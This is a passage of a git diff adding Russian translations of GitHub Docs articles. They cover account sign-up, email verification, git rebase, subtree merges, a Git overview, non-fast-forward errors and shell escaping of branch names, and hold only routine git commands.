variables.product.prodname_ghe_server %} с помощью встроенной проверки подлинности или настроенного поставщика удостоверений. Дополнительные сведения см. в статье [Использование встроенной проверки подлинности](/enterprise-server@latest/admin/user-management/using-built-in-authentication). + - Чтобы пригласить пользователей в качестве администраторов учетных записей, перейдите на [веб-портал {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/login). + + {% note %} + + **Примечание**. Пользователи, приглашенные в качестве администраторов учетных записей, получат сообщение электронной почты со ссылкой для принятия приглашения. + + {% endnote %} + +{% data reusables.enterprise.best-practices %} + +{% data reusables.products.product-roadmap %} + +## Завершение пробного периода + +Вы можете перейти на полные лицензии на [веб-портале {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/login) в любое время в течение пробного периода. + +Если вы не выполнили обновление до последнего дня пробного периода, то получите сообщение электронной почты с уведомлением о его завершении. Если вам нужно больше времени для оценки {% data variables.product.prodname_enterprise %}, обратитесь в {% data variables.contact.contact_enterprise_sales %}, чтобы запросить продление. + +## Дополнительные материалы + +- [Настройка пробной версии {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud) diff --git a/translations/ru-RU/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md b/translations/ru-RU/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md new file mode 100644 index 000000000000..22ce98440ad0 --- /dev/null +++ b/translations/ru-RU/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md @@ -0,0 +1,37 @@ +--- +title: Регистрация новой учетной записи GitHub +shortTitle: Sign up for a new GitHub account +intro: '{% data variables.product.company_short %} предлагает личные учетные записи для отдельных пользователей и организаций для команд, работающих вместе.' +redirect_from: + - /articles/signing-up-for-a-new-github-account + - /github/getting-started-with-github/signing-up-for-a-new-github-account + - /github/getting-started-with-github/signing-up-for-github/signing-up-for-a-new-github-account +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +ms.openlocfilehash: f86c488695cc79519e7cfe98cce032bdedf6df97 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145115992' +--- +## Сведения о новых учетных записях на {% data variables.product.prodname_dotcom_the_website %} + +Вы можете создать личную учетную запись, которая выступает в качестве удостоверения на {% data variables.product.prodname_dotcom_the_website %}, или организацию, в рамках которой несколько личных учетных записей могут совместно работать в нескольких проектах. Дополнительные сведения о типах учетных записей см. в разделе [Типы учетных записей {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts). + +При создании личной учетной записи или организации необходимо выбрать план выставления счетов для этой учетной записи. Дополнительные сведения см. в разделе [Продукты {% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products). + +## Регистрация для создания учетной записи + +1. Если вы хотите создать новую личную учетную запись, выйдите из текущей учетной записи на GitHub. +{% data reusables.accounts.create-account %} +1. Следуйте инструкциям, чтобы создать личную учетную запись или организацию. + +## Дальнейшие действия + +- [Подтверждение адреса электронной почты](/articles/verifying-your-email-address) +- [Создание учетной записи предприятия](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account){% ifversion fpt %} в документации по {% data variables.product.prodname_ghe_cloud %}{% endif %} +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) в репозитории `github/roadmap` diff --git a/translations/ru-RU/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/ru-RU/content/get-started/signing-up-for-github/verifying-your-email-address.md new file mode 100644 index 000000000000..64e0ef6f8863 --- /dev/null +++ b/translations/ru-RU/content/get-started/signing-up-for-github/verifying-your-email-address.md @@ -0,0 +1,71 @@ +--- +title: Verifying your email address +intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /articles/troubleshooting-email-verification + - /articles/setting-up-email-verification + - /articles/verifying-your-email-address + - /github/getting-started-with-github/verifying-your-email-address + - /github/getting-started-with-github/signing-up-for-github/verifying-your-email-address +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Verify your email address +--- +## About email verification + +You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified. + +If you do not verify your email address, you will not be able to: + - Create or fork repositories + - Create issues or pull requests + - Comment on issues, pull requests, or commits + - Authorize {% data variables.product.prodname_oauth_app %} applications + - Generate {% data variables.product.pat_generic %}s + - Receive email notifications + - Star repositories + - Create or update project boards, including adding cards + - Create or update gists + - Create or use {% data variables.product.prodname_actions %} + - Sponsor developers with {% data variables.product.prodname_sponsors %} + +{% warning %} + +**Warnings**: + +- {% data reusables.user-settings.no-verification-disposable-emails %} +- {% data reusables.user-settings.verify-org-approved-email-domain %} + +{% endwarning %} + +## Verifying your email address + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.emails %} +1. Under your email address, click **Resend verification email**. + ![Resend verification email link](/assets/images/help/settings/email-verify-button.png) +4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner. + ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png) + +## Troubleshooting email verification + +### Unable to send verification email + +{% data reusables.user-settings.no-verification-disposable-emails %} + +### Error page after clicking verification link + +The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)." + +If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.location.product_location %}. + +1. {% data variables.product.signout_link %} of your personal account on {% data variables.location.product_location %}. +2. Quit and restart your browser. +3. {% data variables.product.signin_link %} to your personal account on {% data variables.location.product_location %}. +4. Click on the verification link in the email we sent you. + +## Further reading + +- "[Changing your primary email address](/articles/changing-your-primary-email-address)" diff --git a/translations/ru-RU/content/get-started/using-git/about-git-rebase.md b/translations/ru-RU/content/get-started/using-git/about-git-rebase.md new file mode 100644 index 000000000000..07389b8bb1a0 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/about-git-rebase.md @@ -0,0 +1,111 @@ +--- +title: About Git rebase +redirect_from: + - /rebase + - /articles/interactive-rebase + - /articles/about-git-rebase + - /github/using-git/about-git-rebase + - /github/getting-started-with-github/about-git-rebase + - /github/getting-started-with-github/using-git/about-git-rebase +intro: 'The `git rebase` command allows you to easily change a series of commits, modifying the history of your repository. You can reorder, edit, or squash commits together.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +Typically, you would use `git rebase` to: + +* Edit previous commit messages +* Combine multiple commits into one +* Delete or revert commits that are no longer necessary + +{% warning %} + +**Warning**: Because changing your commit history can make things difficult for everyone else using the repository, it's considered bad practice to rebase commits when you've already pushed to a repository. To learn how to safely rebase on {% data variables.location.product_location %}, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." + +{% endwarning %} + +## Rebasing commits against a branch + +To rebase all the commits between another branch and the current branch state, you can enter the following command in your shell (either the command prompt for Windows, or the terminal for Mac and Linux): + +```shell +$ git rebase --interactive OTHER-BRANCH-NAME +``` + +## Rebasing commits against a point in time + +To rebase the last few commits in your current branch, you can enter the following command in your shell: + +```shell +$ git rebase --interactive HEAD~7 +``` + +## Commands available while rebasing + +There are six commands available while rebasing: + +<dl> +<dt><code>pick</code></dt> +<dd><code>pick</code> simply means that the commit is included. Rearranging the order of the <code>pick</code> commands changes the order of the commits when the rebase is underway. If you choose not to include a commit, you should delete the entire line. </dd> + +<dt><code>reword</code></dt> +<dd>The <code>reword</code> command is similar to <code>pick</code>, but after you use it, the rebase process will pause and give you a chance to alter the commit message. Any changes made by the commit are not affected. </dd> + +<dt><code>edit</code></dt> +<dd>If you choose to <code>edit</code> a commit, you'll be given the chance to amend the commit, meaning that you can add or change the commit entirely. You can also make more commits before you continue the rebase. This allows you to split a large commit into smaller ones, or, remove erroneous changes made in a commit. </dd> + +<dt><code>squash</code></dt> +<dd>This command lets you combine two or more commits into a single commit. A commit is squashed into the commit above it. Git gives you the chance to write a new commit message describing both changes.</dd> + +<dt><code>fixup</code></dt> +<dd>This is similar to <code>squash</code>, but the commit to be merged has its message discarded. The commit is simply merged into the commit above it, and the earlier commit's message is used to describe both changes.</dd> + +<dt><code>exec</code></dt> +<dd>This lets you run arbitrary shell commands against a commit.</dd> +</dl> + +## An example of using `git rebase` + +No matter which command you use, Git will launch [your default text editor](/github/getting-started-with-github/associating-text-editors-with-git) and open a file that details the commits in the range you've chosen. That file looks something like this: + +``` +pick 1fc6c95 Patch A +pick 6b2481b Patch B +pick dd1475d something I want to split +pick c619268 A fix for Patch B +pick fa39187 something to add to patch A +pick 4ca2acc i cant' typ goods +pick 7b36971 something to move before patch B + +# Rebase 41a72e6..7b36971 onto 41a72e6 +# +# Commands: +# p, pick = use commit +# r, reword = use commit, but edit the commit message +# e, edit = use commit, but stop for amending +# s, squash = use commit, but meld into previous commit +# f, fixup = like "squash", but discard this commit's log message +# x, exec = run command (the rest of the line) using shell +# +# If you remove a line here THAT COMMIT WILL BE LOST. +# However, if you remove everything, the rebase will be aborted. +# +``` + +Breaking this information, from top to bottom, we see that: + +- Seven commits are listed, which indicates that there were seven changes between our starting point and our current branch state. +- The commits you chose to rebase are sorted in the order of the oldest changes (at the top) to the newest changes (at the bottom). +- Each line lists a command (by default, `pick`), the commit SHA, and the commit message. The entire `git rebase` procedure centers around your manipulation of these three columns. The changes you make are *rebased* onto your repository. +- After the commits, Git tells you the range of commits we're working with (`41a72e6..7b36971`). +- Finally, Git gives some help by telling you the commands that are available to you when rebasing commits. + +## Further reading + +- "[Using Git rebase](/articles/using-git-rebase)" +- [The "Git Branching" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Branching-Rebasing) +- [The "Interactive Rebasing" chapter from the _Pro Git_ book](https://git-scm.com/book/en/Git-Tools-Rewriting-History#_changing_multiple) +- "[Squashing commits with rebase](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)" +- "[Syncing your branch](/desktop/contributing-to-projects/syncing-your-branch)" in the {% data variables.product.prodname_desktop %} documentation diff --git a/translations/ru-RU/content/get-started/using-git/about-git-subtree-merges.md b/translations/ru-RU/content/get-started/using-git/about-git-subtree-merges.md new file mode 100644 index 000000000000..33d7b137142a --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/about-git-subtree-merges.md @@ -0,0 +1,120 @@ +--- +title: Сведения о слияниях поддеревьев Git +redirect_from: + - /articles/working-with-subtree-merge + - /subtree-merge + - /articles/about-git-subtree-merges + - /github/using-git/about-git-subtree-merges + - /github/getting-started-with-github/about-git-subtree-merges + - /github/getting-started-with-github/using-git/about-git-subtree-merges +intro: 'Если вам нужно управлять несколькими проектами в одном репозитории, можно использовать *слияние поддеревьев* для обработки всех ссылок.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: eb50228a4e256b1511ff65d21ce855a2d765ad86 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008840' +--- +## Сведения о слияниях поддеревьев + +Как правило, слияние поддеревьев используется для хранения репозитория в репозитории. "Подрепозиторий" хранится в папке основного репозитория. + +Лучший способ объяснить слияние поддеревьев — показать это на примере. Будет выполнено: + +- Создание пустого репозитория с именем `test`, который представляет проект +- Слияние в него другого репозитория в виде поддерева с именем `Spoon-Knife`. +- Проект `test` будет использовать этот подпроект, как если бы он был частью того же репозитория. +- Получение обновлений из `Spoon-Knife` в проект `test`. + +## Настройка пустого репозитория для слияния поддеревьев + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Создайте новый каталог и перейдите в него. + ```shell + $ mkdir test + $ cd test + ``` +3. Инициализируйте новый репозиторий Git. + ```shell + $ git init + > Initialized empty Git repository in /Users/octocat/tmp/test/.git/ + ``` +4. Создайте и зафиксируйте новый файл. + ```shell + $ touch .gitignore + $ git add .gitignore + $ git commit -m "initial commit" + > [main (root-commit) 3146c2a] initial commit + > 0 files changed, 0 insertions(+), 0 deletions(-) + > create mode 100644 .gitignore + ``` + +## Добавление нового репозитория как поддерева + +1. Добавьте новый удаленный URL-адрес, указывающий на отдельный интересующий нас проект. + ```shell + $ git remote add -f spoon-knife https://github.com/octocat/Spoon-Knife.git + > Updating spoon-knife + > warning: no common commits + > remote: Counting objects: 1732, done. + > remote: Compressing objects: 100% (750/750), done. + > remote: Total 1732 (delta 1086), reused 1558 (delta 967) + > Receiving objects: 100% (1732/1732), 528.19 KiB | 621 KiB/s, done. + > Resolving deltas: 100% (1086/1086), done. + > From https://github.com/octocat/Spoon-Knife + > * [new branch] main -> Spoon-Knife/main + ``` +2. Выполните для проекта `Spoon-Knife` слияние в локальный проект Git. Это не изменяет файлы локально, но подготавливает Git к следующему шагу. + + Если вы используете Git 2.9 или более поздней версии: + ```shell + $ git merge -s ours --no-commit --allow-unrelated-histories spoon-knife/main + > Automatic merge went well; stopped before committing as requested + ``` + + Если вы используете Git 2.8 или более ранней версии: + ```shell + $ git merge -s ours --no-commit spoon-knife/main + > Automatic merge went well; stopped before committing as requested + ``` +3. Создайте каталог с именем **spoon-knife** и скопируйте в него журнал Git проекта `Spoon-Knife`. + ```shell + $ git read-tree --prefix=spoon-knife/ -u spoon-knife/main + ``` +4. Зафиксируйте изменения, чтобы обеспечить их безопасность. + ```shell + $ git commit -m "Subtree merged in spoon-knife" + > [main fe0ca25] Subtree merged in spoon-knife + ``` + +Хотя мы добавили только один подпроект, в репозиторий Git можно включить любое количество подпроектов. + +{% tip %} + +**Совет.** Если вы создадите новый клон репозитория в будущем, добавленные удаленные элементы не будут созданы. Вам придется снова добавить их с помощью [ команды `git remote add`](/github/getting-started-with-github/managing-remote-repositories). + +{% endtip %} + +## Синхронизация с обновлениями и изменениями + +При добавлении подпроекта он не будет автоматически синхронизироваться с вышестоящими изменениями. Необходимо обновить подпроект с помощью следующей команды: + +```shell +$ git pull -s subtree REMOTE-NAME BRANCH-NAME +``` + +В примере выше это будет выглядеть примерно так: + +```shell +$ git pull -s subtree spoon-knife main +``` + +## Дополнительные материалы + +- [Глава "Расширенное слияние" из книги _Pro Git_](https://git-scm.com/book/en/v2/Git-Tools-Advanced-Merging) +- [Практическое руководство по использованию стратегии слияния поддеревьев](https://www.kernel.org/pub/software/scm/git/docs/howto/using-merge-subtree.html) diff --git a/translations/ru-RU/content/get-started/using-git/about-git.md b/translations/ru-RU/content/get-started/using-git/about-git.md new file mode 100644 index 000000000000..4d315738e7f0 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/about-git.md @@ -0,0 +1,184 @@ +--- +title: Сведения о GIT +intro: 'Узнайте о системе управления версиями, Git и о том, как она работает с {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Fundamentals + - Git +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 595fc79c5a656a3d6da8b5589ed384b545a418ac +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147888125' +--- +## Сведения об управлении версиями и GIT + +Система управления версиями отслеживает историю изменений в процессе совместной работы над проектами. По мере того как разработчики вносят изменения в проект, в любое время можно восстановить любую более раннюю его версию. + +Разработчики могут просматривать журнал проекта, чтобы узнавать следующее: + +- какие изменения были внесены; +- кто внес изменения; +- какие изменения были внесены; +- зачем потребовались изменения. + +Системы управления версиями предоставляют каждому участнику единое, согласованное представление проекта с возможностью отслеживать уже ведущуюся работу. Возможность просмотра прозрачной истории изменений с указанием их авторов и вклада в разработку проекта помогает участникам команды работать согласованно независимо друг от друга. + +В распределенной системе управления версиями каждый разработчик имеет полную копию проекта и его журнала. В отличие от популярных централизованных систем управления версиями распределенные системы не требуют постоянного подключения к центральному репозиторию. GIT — это самая популярная распределенная система управления версиями. GIT широко применяется для разработки как программного обеспечения (ПО) с открытым кодом, так и коммерческого ПО, предоставляя важные преимущества отдельным разработчикам, командам и компаниям. + +- GIT позволяет разработчикам просматривать всю временную шкалу изменений, решений и хода выполнения любого проекта в одном месте. С момента доступа к истории проекта разработчик получает всю необходимую информацию, чтобы разобраться в проекте и начать вносить свой вклад. + +- Разработчики работают в разных часовых поясах. Благодаря распределенной системе управления версиями, такой как GIT, совместную работу можно вести в любое время, сохраняя целостность исходного кода. С помощью ветвей разработчики могут безопасно предлагать изменения для рабочего кода. + +- Организации, использующие GIT, могут устранить коммуникационные барьеры между командами, чтобы те могли сосредоточиться на выполнении своих задач с максимальной эффективностью. Кроме того, GIT позволяет согласовать совместную работу экспертов над крупными проектами в масштабе всего предприятия. + +## Сведения о репозиториях GIT + +Репозиторий или проект GIT включает в себя полный набор файлов и папок, связанных с проектом, а также журнал изменений каждого файла. Журнал файла представлен в виде моментальных снимков на определенные моменты времени. Эти снимки называются фиксациями. Фиксации можно упорядочивать по нескольким линиям разработки, называемым ветвями. Так как GIT — распределенная система управления версиями, репозитории являются автономными единицами и любой пользователь, имеющий копию репозитория, может получать доступ ко всей базе кода и ее истории. С помощью командной строки или других удобных интерфейсов возможны также следующие действия с репозиторием GIT: взаимодействие с журналом, клонирование репозитория, создание ветвей, фиксация, слияние, сравнение изменений в разных версиях кода и многое другое. + +С помощью таких платформ, как {% data variables.product.product_name %}, GIT также предоставляет дополнительные возможности для обеспечения прозрачности проектов и совместной работы. Общедоступные репозитории помогают командам работать вместе над созданием максимально качественного конечного продукта. + +## Принципы работы {% data variables.product.product_name %} + +{% data variables.product.product_name %} служит для размещения репозиториев GIT и предоставляет разработчикам средства для поставки более качественного кода: функции командной строки, проблемы (цепочки обсуждений), запросы на вытягивание, проверка кода и коллекция бесплатных и платных приложений в {% data variables.product.prodname_marketplace %}. Благодаря таким уровням совместной работы, как поток {% data variables.product.product_name %}, сообщество из 15 миллионов разработчиков и экосистема, включающая сотни интеграций, {% data variables.product.product_name %} изменяет подход к созданию программного обеспечения. + +{% data variables.product.product_name %} позволяет интегрировать совместную работу непосредственно в процесс разработки. Работа организована по репозиториям, в которых разработчики могут устанавливать требования или давать указания участникам команды. Затем, используя поток {% data variables.product.product_name %}, разработчики просто создают ветвь для работы с обновлениями, фиксируют изменения, чтобы сохранять их, открывают запросы на вытягивание, чтобы предлагать и обсуждать изменения, и выполняют слияние запросов на вытягивание после их согласования. Дополнительные сведения см. в разделе [Процесс работы с GitHub](/get-started/quickstart/github-flow). + +## {% data variables.product.product_name %} и командная строка + +### Основные команды Git + +Работая с GIT, разработчики используют определенные команды для копирования, создания, изменения и объединения кода. Эти команды можно выполнять непосредственно из командной строки или с помощью приложения, например {% data variables.product.prodname_desktop %}. Ниже приведены некоторые распространенные команды для работы с GIT. + +- `git init` — инициализирует новый репозиторий GIT и начинает отслеживание существующего каталога. В существующий каталог добавляется скрытая вложенная папка, в которой размещается внутренняя структура данных, необходимая для управления версиями. + +- `git clone` — создает локальную копию проекта, который уже существует удаленно. Клон включает в себя все файлы проекта, журнал и ветви. + +- `git add` — подготавливает изменение. GIT отслеживает изменения в базе кода разработчика, но для включения изменений в журнал проекта необходимо подготавливать их и создавать моментальные снимки. Эта команда выполняет первую часть этого двухэтапного процесса, то есть подготовку. Все подготовленные изменения станут частью следующего моментального снимка и журнала проекта. Раздельные подготовка и фиксация дают разработчикам полный контроль над историей проекта без необходимости изменять подход к написанию кода и работе в целом. + +- `git commit` — сохраняет моментальный снимок в журнале проекта и завершает процесс отслеживания изменений. Иначе говоря, фиксация похожа на создание фотографии. Все, что было подготовлено с помощью команды `git add`, станет частью моментального снимка при использовании `git commit`. + +- `git status` — выводит состояние изменений: не отслеживаются, изменены или подготовлены. + +- `git branch` — показывает ветви, с которыми ведется локальная работа. + +- `git merge` — выполняет слияние линий разработки. Эта команда обычно применяется для объединения изменений, внесенных в двух разных ветвях. Например, разработчик выполняет слияние, когда необходимо объединить изменения из ветви функции с главной ветвью для развертывания. + +- `git pull` — применяет к локальной линии разработки обновления из удаленного аналога. Разработчики используют эту команду, если коллега выполнил фиксации в ветви удаленного репозитория и эти изменения нужно отразить в локальной среде. + +- `git push` — обновляет удаленный репозиторий с учетом фиксаций, выполненных в ветви локально. + +Дополнительные сведения см. в [полном справочном руководстве по командам GIT](https://git-scm.com/docs). + +### Пример. Участие в существующем репозитории + +```bash +# download a repository on {% data variables.product.product_name %} to our machine +# Replace `owner/repo` with the owner and name of the repository to clone +git clone https://github.com/owner/repo.git + +# change into the `repo` directory +cd repo + +# create a new branch to store any new changes +git branch my-branch + +# switch to that branch (line of development) +git checkout my-branch + +# make changes, for example, edit `file1.md` and `file2.md` using the text editor + +# stage the changed files +git add file1.md file2.md + +# take a snapshot of the staging area (anything that's been added) +git commit -m "my snapshot" + +# push changes to github +git push --set-upstream origin my-branch +``` + +### Пример. Создание нового репозитория и его публикация в {% data variables.product.product_name %} + +Сначала необходимо создать репозиторий на {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Hello World](/get-started/quickstart/hello-world). **Не** инициализируйте репозиторий с помощью файла сведений, GITIGNORE или файла лицензии. Этот пустой репозиторий ожидает добавления кода. + +```bash +# create a new directory, and initialize it with git-specific functions +git init my-repo + +# change into the `my-repo` directory +cd my-repo + +# create the first file in the project +touch README.md + +# git isn't aware of the file, stage it +git add README.md + +# take a snapshot of the staging area +git commit -m "add README to initial commit" + +# provide the path for the repository you created on github +git remote add origin https://github.com/YOUR-USERNAME/YOUR-REPOSITORY-NAME.git + +# push changes to github +git push --set-upstream origin main +``` + +### Пример. Участие в существующей ветви на {% data variables.product.product_name %} + +В этом примере предполагается, что у вас на компьютере уже есть проект с именем `repo` и что новая ветвь была отправлена в {% data variables.product.product_name %} с момента последнего внесения изменений локально. + +```bash +# change into the `repo` directory +cd repo + +# update all remote tracking branches, and the currently checked out branch +git pull + +# change into the existing branch called `feature-a` +git checkout feature-a + +# make changes, for example, edit `file1.md` using the text editor + +# stage the changed file +git add file1.md + +# take a snapshot of the staging area +git commit -m "edit file1" + +# push changes to github +git push +``` + +## Модели совместной разработки + +Существует два основных способа совместной работы на {% data variables.product.product_name %}: + +1. общий репозиторий; +2. создание вилок и вытягивание. + +В случае с общим репозиторием отдельные пользователи и команды явно назначаются участниками с доступом на чтение, запись или администрирование. Эта простая структура разрешений в сочетании с такими возможностями, как защищенные ветви, помогает командам быстро приступить к работе после внедрения {% data variables.product.product_name %}. + +Для проектов с открытым кодом или проектов, в которых могут участвовать любые пользователи, управление отдельными разрешениями может быть непростой задачей. В этом случае удобнее модель на основе вилок и вытягивания, которая позволяет всем, кто может просматривать проект, принимать участие в нем. Вилка — это копия проекта в личной учетной записи разработчика. Каждый разработчик имеет полный контроль над вилкой и может свободно реализовывать исправление или новую функцию. Результаты работы в вилках либо хранятся отдельно, либо переносятся обратно в исходный проект с помощью запроса на вытягивание. Лица, ответственные за проект, могут проверять предлагаемые изменения перед их слиянием. Дополнительные сведения см. в разделе [Участие в проектах](/get-started/quickstart/contributing-to-projects). + +## Дополнительные материалы + +Команда {% data variables.product.product_name %} создала библиотеку учебных видео и руководств, которые помогут пользователям развить свои навыки и создавать более качественное программное обеспечение. + +- [Проекты для изучения начинающими](https://github.com/showcases/great-for-new-contributors) +- [Видеоруководства по {% data variables.product.product_name %}](https://youtube.com/githubguides) + +В приведенных ниже видеороликах подробно описываются методы работы с GIT и способы максимально эффективного использования некоторых команд GIT. + +- [Локальная работа](https://www.youtube.com/watch?v=rBbbOouhI-s&index=2&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4) +- [`git status`](https://www.youtube.com/watch?v=SxmveNrZb5k&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4&index=3) +- [Двухэтапная фиксация](https://www.youtube.com/watch?v=Vb0Ghkkc2hk&index=4&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4) +- [`git pull` и `git push`](https://www.youtube.com/watch?v=-uQHV9GOA0w&index=5&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4) diff --git a/translations/ru-RU/content/get-started/using-git/dealing-with-non-fast-forward-errors.md b/translations/ru-RU/content/get-started/using-git/dealing-with-non-fast-forward-errors.md new file mode 100644 index 000000000000..b7d91fe3db54 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/dealing-with-non-fast-forward-errors.md @@ -0,0 +1,48 @@ +--- +title: Обработка ошибок не быстрого перемещения вперед +intro: Иногда Git не может внести изменения в удаленный репозиторий без потери фиксаций. В этом случае ваша передача данных будет отклонена. +redirect_from: + - /articles/dealing-with-non-fast-forward-errors + - /github/using-git/dealing-with-non-fast-forward-errors + - /github/getting-started-with-github/dealing-with-non-fast-forward-errors + - /github/getting-started-with-github/using-git/dealing-with-non-fast-forward-errors +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Non-fast-forward error +ms.openlocfilehash: 45405455b20d71ca01d61f23d949be4ec5964356 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009030' +--- +Если другой пользователь отправил изменения в ту же ветвь, что и вы, GIT не сможет отправить ваши изменения: + +```shell +$ git push origin main +> To https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git +> ! [rejected] main -> main (non-fast-forward) +> error: failed to push some refs to 'https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git' +> To prevent you from losing history, non-fast-forward updates were rejected +> Merge the remote changes (e.g. 'git pull') before pushing again. See the +> 'Note about fast-forwards' section of 'git push --help' for details. +``` + +Это можно исправить путем [извлечения и слияния](/github/getting-started-with-github/getting-changes-from-a-remote-repository) изменений, внесенных в удаленную ветвь, с локальными изменениями: + +```shell +$ git fetch origin +# Fetches updates made to an online repository +$ git merge origin YOUR_BRANCH_NAME +# Merges updates made online with your local work +``` + +Кроме того, можно просто использовать `git pull` для одновременного выполнения обеих команд: + +```shell +$ git pull origin YOUR_BRANCH_NAME +# Grabs online updates and merges them with your local work +``` diff --git a/translations/ru-RU/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md b/translations/ru-RU/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md new file mode 100644 index 000000000000..8218fe7c7c74 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md @@ -0,0 +1,54 @@ +--- +title: Обработка специальных символов в именах ветвей и тегов +intro: Git предоставляет множество разрешений для использования символов в именах ветвей и тегов. При использовании Git из оболочки командной строки может потребоваться исключить или заключить в кавычки специальные символы. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Special characters in names +ms.openlocfilehash: e03b6ba963cef465f775620d353f14f0f5d92d36 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145115979' +--- +## Сведения об именах ветвей и тегов + +В большинстве репозиториев используются простые имена ветвей, например `main` или `update-icons`. Имена тегов также обычно имеют базовый формат, например номер версии — `v1.2.3`. Для структурирования в именах ветвей и тегов также может использоваться разделитель пути (`/`), например `area/item` или `level-1/level-2/level-3`. В Git накладываются минимальные ограничения на использование символов в именах ветвей и тегов. Например, имя не должно начинаться или заканчиваться символом косой черты и не должно содержать последовательность таких символов. Дополнительные сведения см. в разделе [git-check-ref-format](https://git-scm.com/docs/git-check-ref-format) в документации по Git. + +## Почему необходимо экранировать специальные символы + +При работе с интерфейсом командной строки в именах ветвей или тегов могут появляться специальные символы, которые имеют особое значение для среды оболочки. Для безопасного использования таких символов в команде Git их необходимо заключить в кавычки или экранировать, иначе результат выполнения команды может быть непредсказуемыми. + +Например, символ `$` используется во многих оболочках для указания ссылки на переменную. В большинстве оболочек такое допустимое имя ветви, как `hello-$USER`, будет интерпретироваться не как литеральная строка `hello-$USER`, а как эквивалент слова "hello", за которым следует дефис, а затем — текущее значение переменной `USER`. Если имя ветви содержит символ `$`, необходимо исключить его расширение оболочкой в виде ссылки на переменную. Аналогичным образом, символ точки с запятой (`;`) в имени ветви, в большинстве оболочек интерпретируется как разделитель команд, поэтому его необходимо заключить в кавычки или экранировать. + +## Как экранировать специальные символы в именах ветвей и тегов + +В большинстве случаев имена ветвей и тегов со специальными символами можно экранировать, заключив их в одинарные кавычки, например `'hello-$USER'`. + +* В оболочке [Bash](https://www.gnu.org/software/bash/) используются одинарные кавычки для сохранения литерального значения символов, заключенных между ними. +* В оболочке [Zsh](https://www.zsh.org/) реализовано аналогичное Bash поведение, которое можно настроить с помощью параметра `RC_QUOTES`. +* В [PowerShell](https://microsoft.com/powershell) для сохранения литерального значения символов также используются одинарные кавычки. + +Основное исключение при работе с этими оболочками связано с именами ветвей или тегов, которые содержат одинарную кавычку. В таких случаях следует обратиться к официальной документации по соответствующей оболочке: + +* [Документация по Bash](https://www.gnu.org/software/bash/manual/) +* [Документация по Zsh](https://zsh.sourceforge.io/Doc/) +* [Документация по Fish](https://fishshell.com/docs/current/) +* [Документация по PowerShell](https://docs.microsoft.com/en-gb/powershell/) + +## Именование ветвей и тегов + +По возможности не используйте в именах ветвей и тегов специальные символы, которые потребуется экранировать. По умолчанию в именах ветвей и 